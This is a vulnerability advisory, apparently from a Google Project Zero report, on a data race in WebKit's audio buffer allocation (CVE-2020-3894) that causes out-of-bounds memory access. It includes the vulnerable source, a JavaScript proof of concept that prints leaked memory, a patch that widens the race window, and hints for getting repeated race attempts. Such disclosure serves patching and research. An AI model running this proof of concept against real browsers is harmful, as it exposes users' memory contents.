WebKit AudioArray::allocate Data Race / Out-Of-Bounds Access

2020.04.26
Risk: High
Local: Yes
Remote: No
CWE: CWE-362


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

WebKit: Data race in AudioArray::allocate can lead to OOB access VULNERABILITY DETAILS Source/WebCore/platform/audio/AudioArray.h: ``` void allocate(Checked<size_t> n) { [...] while (!isAllocationGood) { // Initially we try to allocate the exact size, but if it's not aligned // then we'll have to reallocate and from then on allocate extra. static size_t extraAllocationBytes = 0; // *** 1 *** T* allocation = static_cast<T*>(fastMalloc((initialSize + extraAllocationBytes).unsafeGet())); // *** 2 *** if (!allocation) CRASH(); T* alignedData = alignedAddress(allocation, alignment); if (alignedData == allocation || extraAllocationBytes == alignment) { // *** 3 *** m_allocation = allocation; m_alignedData = alignedData; m_size = n.unsafeGet(); isAllocationGood = true; zero(); } else { extraAllocationBytes = alignment; // always allocate extra after the first alignment failure. // *** 4 *** fastFree(allocation); } } } ``` `AudioArray::Allocate` uses the static local variable called `extraAllocationBytes`[1] to store the size of padding to keep allocations aligned. It's initially set to zero and gets modified when the first unaligned allocation occurs. Since the method is called from multiple threads (for example, the main thread and the audio decoding thread), a data race can happen between two threads making an unaligned allocation. Consider the following scenario: 1. `extraAllocationBytes` is set to zero. 2. The first thread uses it to calculate the total size and creates an allocation[2]. 3. The second thread does the same and fails the check in [3] because the aligned and unaligned pointers don't match. 4. The second thread sets `extraAllocationBytes` to `alignment`[4]. 5. The first thread now passes the second condition in [3]. At this point the buffer referenced by `alignedData` is offset from and less in size than the actual allocation, so subsequent buffer accesses may read or write out-of-bounds data. Since an attacker has only one attempt to win the race after the process starts, a successful attack requires a technique that can be used to create multiple web content processes or restart the existing one. For example, if the attacker is able to bypass the pop-up blocker, they can create multiple tabs hosted by separate processes by passing the \"noopener\" attribute to `window.open`. VERSION WebKit Revision: 254740 The vulnerable code was introduced in 2011 (https://trac.webkit.org/changeset/92408), so the stable branch should be affected as well. REPRODUCTION CASE It's impossible to reproduce the issue with ASan enabled as it forces the underlying allocator to always return 16-byte aligned pointers; hence, `extraAllocationBytes` never gets modified. Instead, you should run the test case in a regular release build where it prints some leaked data. ``` <script> context = new webkitOfflineAudioContext(1, 1, 44100); header = [0x52, 0x49, 0x46, 0x46, 0x68, 0xac, 0x00, 0x00, 0x57, 0x41, 0x56, 0x45, 0x66, 0x6d, 0x74, 0x20, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x44, 0xac, 0x00, 0x00, 0x44, 0xac, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x64, 0x61, 0x74, 0x61, 0x44, 0xac, 0x00, 0x00]; wav_big = new Uint8Array(header.length + 14); wav_big.set(header); wav_small = new Uint8Array(header.length + 10); wav_small.set(header); noop = () => {}; context.decodeAudioData(wav_big.buffer, noop, noop); buffer = context.createBuffer(wav_small.buffer, false); document.write(Array.prototype.map.call( new Uint8Array(buffer.getChannelData(0).buffer, 32), v => v.toString(16).padStart(2, 0)).join(' ')); </script> ``` The following patch, which makes the race window long enough, is essential for reproducing the bug reliably: ``` Index: platform/audio/AudioArray.h =================================================================== --- platform/audio/AudioArray.h (revision 254740) +++ platform/audio/AudioArray.h (working copy) @@ -30,6 +30,7 @@ #define AudioArray_h #include <string.h> +#include <unistd.h> #include <wtf/CheckedArithmetic.h> #include <wtf/FastMalloc.h> @@ -72,6 +73,10 @@ CRASH(); T* alignedData = alignedAddress(allocation, alignment); + if (initialSize.unsafeGet() == 40) { + usleep(1000000); + } + if (alignedData == allocation || extraAllocationBytes == alignment) { m_allocation = allocation; m_alignedData = alignedData; ``` CREDIT INFORMATION Sergei Glazunov of Google Project Zero This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-04-19. Related CVE Numbers: CVE-2020-3894. Found by: glazunov@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top